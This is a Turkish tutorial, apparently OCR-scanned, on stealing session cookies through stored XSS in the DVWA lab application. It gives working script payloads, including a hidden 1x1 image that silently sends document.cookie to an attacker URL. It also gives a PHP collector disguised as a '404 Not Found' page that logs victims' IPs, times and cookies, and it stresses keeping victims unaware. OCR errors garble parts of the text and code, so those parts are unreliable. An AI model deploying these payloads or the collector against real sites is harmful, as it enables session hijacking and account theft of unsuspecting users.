DVWA Stored XSS Saldirisi ile Cerez Calma
(+) Birebir denenmistir ve basartyla uygulanmistir.

Bu yaz1 includekarabuk sitesindeki Ders 22 - Stored XSS (Low Level) makalesini esas almaktadir,
ancak o makalede cerez calma islemi kurbani saldirganin sayfasina yonlendirerek yapilmaktayken
bu yazida gerez calma islemi kurbani saldirganin sayfasina yonlendirmeden yapilacaktir.

Simdi 6nce ufak bir tanim yapalim. Stored XSS saldiris1 bir web uygulamasinin veri giris
noktalarina denetleme/filtreleme/bloklama mekanizmasi konulmadiginda saldirganin bu veri girig
noktasina javascript kodu girerek veritabanina kaydolmasi islemine denir. Bu XSS saldirisina
Stored denmesinin nedeni saldirgan tarafindan girilen kodun veritabanina kaydoluyor olusundandir.

DVWA iizerinden stored XSS saldirisi yapabilmek icin 6ncelikle DVWA'nin sundugu ekrani
inceleyelim:

Vulnerability: Stored Cross Site Scripting (XSS)
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Simdi cerez calma mahiyetindeki javascript kodunu hazirlayalim. Includekarabuk'teki makalede
cerezleri calmak icin

window.location.href="http://localhost/saldirganinSitesi/index.php?cookie=" +
document.cookie;

javascript kodu kullaniliyordu. Béylece

<script>window.location.href="http://localhost/saldirganinSitesi/index.php?cookie=" +
document.cookie;</script>

kodu veritabanina kaydoldugunda ve kurban DVWA'nin sayfasini goriintiilediginde
saldirganinsitesi.com/index.php

ekrana gelen javascript kodu dolayisiyla saldirganin sitesine yonlenmekteydi. Yaninda gotiirdiigii
cerez parametresiyle de saldirgan cerezi ¢cekip dosyalarak calma islemini tamamlamaktaydi. Bu



islem kurbanin olayin farkina varmasina neden olabileceginden biz <img> tag'ini kullanalim.
Bdylece kurban yine cereziyle beraber saldirganin sitesine talepte bulunsun ama sitesine gitmesin.

HTML cikt {ireten Javascript kodu:
document.write("<img src="http://localhost/saldirganinSitesi/index.php'/>");

HTML ciktisina gerezleri dahil etme kodu:
document.write("<img src="http://localhost/saldirganinSitesi/index.php?cookie=" +
document.cookie + "'>")

Hazirlanmig Nihai Kod:

<script>document.write("<img src="http://localhost/saldirganinSitesi/index.php?cookie=" +
document.cookie + "">")</script>

Hazirladigimiz yukaridaki nihai javascript kodu veritabanina kaydoldugunda sayfay1 goriintiileyen
kisilerin ekranina yansiyacaktir. Kurban ekran goriintiilediginde veritabanindan cekilen javascript
kodu tarayicida calisip su html ¢iktisin {iretecektir:

<img src="http://localhost/saldirganinSitesi/index.php?cookie=kullanicininCerezi'>

Bu html kodu ziyaretgilerin yorum kismina yansiyacaktir ve kurban resim kodundaki src linkine
otomatikmen talepte bulunacaktir. Béylece arkaplanda kullanici, cerezini saldirganin sitesine
parametre olarak gonderecektir. Saldirgan ise sitesinde bu parametreyi ¢ekip dosyalayacaktir ve
bdylece cerezi calmis olacaktir. Kurban saldirganin sitesine yonlenmeyeceginden ve goriintiiledigi
sayfada sadece goriintiilenemeyen bir resim géreceginden olayin farkina varamayacaktir.

NOT : // Denendi ve basariyla uygulandi.

Resmin goriintiilenemedigine dair ¢arpi isareti de gériinmesin isteniyorsa resim koduna
width="1" height="1"

parametreleri konabilir. Boylece kurban hicbir siipheli belirtiyle karsilasmayacagindan olayin

farkina dahi varamayacaktir.

Hazirlanmig Nihai Kod 2:

<script>document.write("<img width="1" height="1"
src="http://localhost/saldirganinSitesi/index.php?cookie=" + document.cookie + "">")</script>



NOT 2:

Cerezleri calmak icin saldirgan web sitesinde su sekilde kod kullanabilir:

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
404 Not Found
<?php
$ip = $_SERVER["REMOTE_ADDR"]; // Sayfaya girenin ip’si alinir.
$cookie = $_GET["cookie"]; // Linkteki parametrede yer alan gerez alinir.
$dateTime = date('d.m.y \t H:i:s"); // Kurbanmin hazirlanmis linke tikladig1 anki zaman alinir.

$file = fopen("cerezler.html", "a+");

fwrite($file, "HHutHHEHHHHIHHIHHHHHHHHHHHH <Dr>");
fwrite($file, "Kurbanin IP Adresi : " . $ip . "<br>");

fwrite($file, "Tiklama Zamani  :" . $dateTime . "<br>");

fwrite($file, "Kurbanin Cerezi  :" . $cookie . "<br>");

fwrite($file, "HHHHHIHEHIHHHFHHEHHHHEHHHH A <br><br><br>");

fclose($file);
>

</body>
</html>
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